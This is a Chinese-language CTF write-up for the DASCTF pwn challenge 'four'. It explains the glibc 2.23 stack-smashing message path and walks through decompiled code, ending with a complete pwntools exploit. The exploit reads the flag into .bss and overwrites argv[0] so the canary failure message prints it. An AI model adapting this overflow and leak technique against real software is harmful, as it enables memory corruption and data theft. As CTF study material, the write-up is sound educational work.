four

b4nd1t

DASCTF four

新学到的知识

在libc2.23中的_stack_chk_fail()函数

1
2
3
4
5
6
7
8
// debug/stack_chk_fail.c
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
1
2
3
4
5
6
7
8
9
10
11
12
// debug/fortify_fail.c
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// sysdeps/posix/libc_fatal.c
/* Abort with an error message. */
void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd = STDERR_FILENO;

argv[0]覆盖成flag的地址,再通过栈溢出就可以打印出flag

保护检查

1682306006913

源码分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = 0;
sub_401458(a1, a2, a3);
for ( i = 0; i <= 3; ++i )
{
puts("your choice : ");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
sub_4014B9();
}
else if ( v4 == 5 )
{
sub_4013E1();
}
if ( v4 >= 6 )
{
puts("error");
exit(1);
}
if ( (int)v4 <= 2 )
sub_400B94();
if ( v4 == 3 )
sub_400CA8();
if ( (int)v4 > 3 )
sub_40101C();
}
return 0LL;
}

1

1
2
3
4
5
6
int sub_4014B9()
{
puts("You can disclose the libc address, but the error stream will be closed");
printf("address---> %p", &printf);
return close(2);
}

5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_4013E1()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !dword_60204C )
{
puts("This is a strange overflow. Because of canary, you must not hijack the return address");
read(0, buf, 0x200uLL);
close(1);
++dword_60204C;
}
return 0LL;

sub_400B94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 sub_400B94()
{
const char *v0; // rax
char buf; // [rsp+Bh] [rbp-6015h] BYREF
unsigned int v3; // [rsp+Ch] [rbp-6014h] BYREF
char v4[24584]; // [rsp+10h] [rbp-6010h] BYREF
unsigned __int64 v5; // [rsp+6018h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0;
puts("You can give any value, trust me, there will be no overflow");
__isoc99_scanf("%d", &v3);
if ( v3 >= 0x5FF0 )
{
puts("NO OVERFLOW!!!");
exit(1);
}
puts("Actually, this function doesn't seem to be useful");
sub_400AF7(v4, v3);
puts("Really?");
read(0, &buf, 1uLL);
if ( buf == 121 || buf == 89 )
{
v0 = (const char *)sub_4009A7(v4);
printf("content : %s", v0);
}
return 0LL;
}

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
__int64 sub_400CA8()
{
unsigned int v1; // [rsp+0h] [rbp-260h] BYREF
unsigned int v2; // [rsp+4h] [rbp-25Ch] BYREF
unsigned int v3; // [rsp+8h] [rbp-258h] BYREF
int v4; // [rsp+Ch] [rbp-254h] BYREF
int i; // [rsp+10h] [rbp-250h]
int v6; // [rsp+14h] [rbp-24Ch]
int v7; // [rsp+18h] [rbp-248h]
int fd; // [rsp+1Ch] [rbp-244h]
char s1[12]; // [rsp+20h] [rbp-240h] BYREF
int v10; // [rsp+2Ch] [rbp-234h]
char dest[32]; // [rsp+30h] [rbp-230h] BYREF
char buf[256]; // [rsp+50h] [rbp-210h] BYREF
char s[264]; // [rsp+150h] [rbp-110h] BYREF
unsigned __int64 v14; // [rsp+258h] [rbp-8h]

v14 = __readfsqword(0x28u);
strcpy(s1, "output.txt");
s1[11] = 0;
v10 = 0;
i = 0;
v1 = 0;
v2 = 0;
v3 = 0;
v6 = 0;
printf("Enter level:");
__isoc99_scanf("%d", &v1);
printf("Enter mode:");
__isoc99_scanf("%d", &v2);
printf("Enter X:");
__isoc99_scanf("%d", &v3);
if ( v1 > 6 || v2 > 4 || v3 >= 4 )
{
puts("invalid data!");
exit(1);
}
printf("Enter a string: ");
sub_400AF7(s, 250LL);
v7 = strlen(s);
for ( i = 0; i < v7; ++i )
{
if ( !(i % (int)v1) || !(i % (int)v2) )
buf[v6++] = s[i];
if ( !(i % (int)v3) )
buf[i] = 64;
}
puts("please input filename");
__isoc99_scanf("%14s", s1);
if ( strncmp(s1, "output.txt", 0xAuLL) )
{
strncpy(s1, "output.txt", 0xCuLL);
strncpy(dest, s1, 0xCuLL);
}
fd = open(dest, 0);
if ( fd == -1 )
{
puts("open error!");
exit(1);
}
puts("Do you want to write data?");
puts("1. yes\n2.no");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
write(fd, buf, 0x100uLL);
close(fd);
puts("Successly!");
}
else
{
puts("OK!");
}
return 0LL;
}

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 sub_40101C()
{
char v1; // [rsp+Bh] [rbp-135h]
int fd; // [rsp+Ch] [rbp-134h]
int j; // [rsp+10h] [rbp-130h]
char *i; // [rsp+18h] [rbp-128h]
char delim[2]; // [rsp+2Ah] [rbp-116h] BYREF
int v6; // [rsp+2Ch] [rbp-114h]
char s[8]; // [rsp+30h] [rbp-110h] BYREF
__int64 v8; // [rsp+38h] [rbp-108h]
char v9[240]; // [rsp+40h] [rbp-100h] BYREF
unsigned __int64 v10; // [rsp+138h] [rbp-8h]

v10 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v8 = 0LL;
memset(v9, 0, sizeof(v9));
fd = 0;
v6 = 0;
v1 = 0;
strcpy(delim, ">");
puts("info>>");
__isoc99_scanf("%256s", s);
for ( i = strtok(s, delim); i; i = strtok(0LL, delim) )
{
for ( j = 0; i[j]; ++j )
{
if ( i[j] == '~' && i[j + 1] > '/' && i[j + 1] <= '9' )
fd = i[j + 1] - '0';
if ( i[j] == ':' && i[j + 1] && i[j + 2] && i[j + 3] && !i[j + 4] )
{
LOBYTE(v6) = i[j + 1];
BYTE1(v6) = i[j + 2];
HIWORD(v6) = (unsigned __int8)i[j + 3];
break;
}
if ( i[j] == '@' && i[j + 2] == '*' && i[j + 1] > 0x60 && i[j + 1] <= 'z' )
v1 = i[j + 1];
}
}
if ( fd <= 2 || fd > 10 )
{
puts("error!");
exit(1);
}
read(fd, (void *)((SBYTE1(v6) << 8) + ((char)v6 << 16) + SBYTE2(v6)), v1);
return 0LL;
}

本题的泄露libc没有用,在选项3中可以打开一个文件,文件名地址为dest,如果输入output.txt,就不对dest处进行修改,如果没有输入output.txt,就会把dest处设置成output.txt,而dest处是其他值,所以我们可以先进入sub_400B94函数把栈上布置上很多的flag,这样下次进入选项3的时候就可以让dest处为flag,我们正常输入output.txt就可以打开flag。在选项4中设置读取某个文件的若干字节到一个地址,我们把flag读取到bss段,之后进行溢出覆盖argv[0]为bss段的地址

偏移计算

1682306751178

1682306826508

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./pwn")
p = remote('node4.buuoj.cn',29762)
p.recvuntil("your choice : \n")
p.sendline("2")
p.recv()
p.sendline(str(0x5FF0 - 1))
payload = "aa" + "flag\x00" * 4910
p.sendline(payload)
p.recv()
p.sendline("n")
p.recv()
p.sendline("3")
p.recv()
p.sendline("1")
p.recv()
p.sendline("1")
p.recv()
p.sendline("1")
p.recv()
p.sendline("aa")
p.recv()
payload = "output.txt\x00"
p.sendline(payload)
p.recv()
p.sendline("2")
p.recvuntil("your choice : \n")
p.sendline("4")
p.recvuntil("info>>")
payload = ":`!!>~3>@z*"
p.sendline(payload)
p.sendlineafter("your choice : \n",str(5))
payload='a'*0x118+p64(0x602121)
p.recv()
p.sendline(payload)
p.interactive()